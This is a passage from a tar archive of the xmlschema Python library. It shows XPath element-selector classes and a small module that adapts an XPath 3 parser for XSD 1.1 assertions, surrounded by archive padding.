Callable[[str], bool]) -> None: nonlocal end end += 1 while condition(path[end]): end += 1 path = path.replace(' ', '').replace('\t', '').replace('./', '') # path normalization chunks: deque[str] = deque(['']) # add an empty element to avoid index errors default_namespace = None if not namespaces else namespaces.get('') while True: try: flush() if path[end] in '"\'': advance(lambda x: x != path[start]) end += 1 elif path[end] == '{': advance(lambda x: x != '}') end += 1 if path[end].isalpha(): advance(is_ncname_continuation) elif path[end].isalpha(): advance(is_ncname_continuation) if path[end] == ':': prefix = path[start:end] end += 1 if path[end].isalpha(): advance(is_ncname_continuation) if extended_names and namespaces and prefix in namespaces: flush() uri = namespaces[prefix] chunks[-1] = f'{{{uri}}}{chunks[-1][len(prefix)+1:]}' elif default_namespace and not chunks[-1].endswith('@'): flush() chunks[-1] = f'{{{default_namespace}}}{chunks[-1]}' elif path[end] == '/': advance(lambda x: x == '/') else: end += 1 except IndexError: if start < len(path): flush() if default_namespace and is_ncname(chunks[-1]) and chunks[-2] != '@': chunks[-1] = f'{{{default_namespace}}}{chunks[-1]}' chunks.popleft() return chunks class ElementSelector: """ An XPath selector for selecting ElementTree elements. Raises an error if the path parse fails or is incompatible with the selector type. :param path: the XPath expression. :param namespaces: an optional namespace mapping. """ path: str """The normalized XPath expression of the path provided by argument.""" namespaces: Optional[dict[str, str]] """The namespaces mapping associated with the XPath expression path.""" _parser: XPath2Parser _token: XPathToken @classmethod def cached_selector(cls, path: str, namespaces: Optional[NsmapType] = None) \ -> 'ElementSelector': """A builder of ElementSelector instances based on a cache.""" key: CacheKeyType = (path, cls) if namespaces is not None: key += tuple(sorted(namespaces.items())) try: return _selectors_cache[key] except KeyError: if len(_selectors_cache) > 100: _selectors_cache.clear() selector = cls(path, namespaces) _selectors_cache[key] = selector return selector def __init__(self, path: str, namespaces: Optional[NsmapType] = None) -> None: self.namespaces = None if namespaces is None else {k: v for k, v in namespaces.items()} self._parts = split_path(path, namespaces) self.path = ''.join(self._parts) self._parser = XPath2Parser(namespaces, strict=False) self._token = self._parser.parse(self.path) self.select(_dummy_element) def __repr__(self) -> str: return '%s(path=%r, )' % (self.__class__.__name__, self.path) @property def parts(self) -> list[str]: """Return a list with the parts of the parsed path.""" return list(self._parts) @cached_property def relative_path(self) -> str: """The equivalent path expression relative to root element.""" parts = self._parts.copy() if not parts: parts.appendleft('.') elif parts[0] == '//': parts.appendleft('.') elif parts[0] == '/': parts.popleft() while parts: if parts[0].startswith('/'): break parts.popleft() parts.appendleft('.') return ''.join(parts) @cached_property def select_all(self) -> bool: """Returns `True` if the path is composed only by wildcards or path steps.""" return all(c in ('*', '/', '.') for c in self._parts) @cached_property def depth(self) -> int: """Path depth, 0 means a self axis selector, -1 means an unlimited depth.""" if not self._parts: return 0 elif '//' in self._parts: return -1 elif self._parts[0] == '/': return sum(s == '/' for s in self._parts) - 1 elif self._parts[0] == '.': return sum(s == '/' for s in self._parts) else: return sum(s == '/' for s in self._parts) + 1 def select(self, root: Union[ElementType, 'XMLResource']) -> list[ElementType]: return list(self.iter_select(root)) def iter_select(self, root: Union[ElementType, 'XMLResource']) -> Iterator[Element]: if hasattr(root, 'xpath_root'): context = XPathContext(root.xpath_root) else: context = XPathContext(root) for item in self._token.select(context): if not isinstance(item, ElementNode): # pragma: no cover msg = "XPath expressions on XML resources can select only elements" raise XMLSchemaTypeError(msg) yield cast(ElementType, item.obj) class ElementPathSelector(ElementSelector): """ An XPath selector that uses `xml.etree.ElementPath.iterfind()` for selecting elements. """ def iter_select(self, root: Union[ElementType, 'XMLResource']) -> Iterator[ElementType]: if hasattr(root, 'root'): yield from root.root.iterfind(self.relative_path, self.namespaces) else: yield from root.iterfind(self.relative_path, self.namespaces) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/xpath/xpath3.py�����������������������������������������������������������0000664�0000000�0000000�00000002543�15020401055�0020357�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2023, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ Optional module for handling XPath 3 parsing on XSD 1.1 assertions. """ from typing import Optional from elementpath import XPathToken, XPathContext from elementpath.xpath3 import XPath3Parser __all__ = ['XPath3Parser', 'XsdAssertionXPath3Parser'] class XsdAssertionXPath3Parser(XPath3Parser): """Parser for XSD 1.1 assertion facets with XPath 3.""" XsdAssertionXPath3Parser.unregister('last') XsdAssertionXPath3Parser.unregister('position') # noinspection PyUnusedLocal @XsdAssertionXPath3Parser.method( XsdAssertionXPath3Parser.function('last', nargs=0) ) def evaluate_last(self: XPathToken, context: Optional[XPathContext] = None) -> None: raise self.missing_context("context item size is undefined") # pragma: no cover # noinspection PyUnusedLocal @XsdAssertionXPath3Parser.method( XsdAssertionXPath3Parser.function('position', nargs=0) ) def evaluate_position(self: XPathToken, context: Optional[XPathContext] = None) -> None: raise self.missing_context("context item position is undefined") # pragma: no cover ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������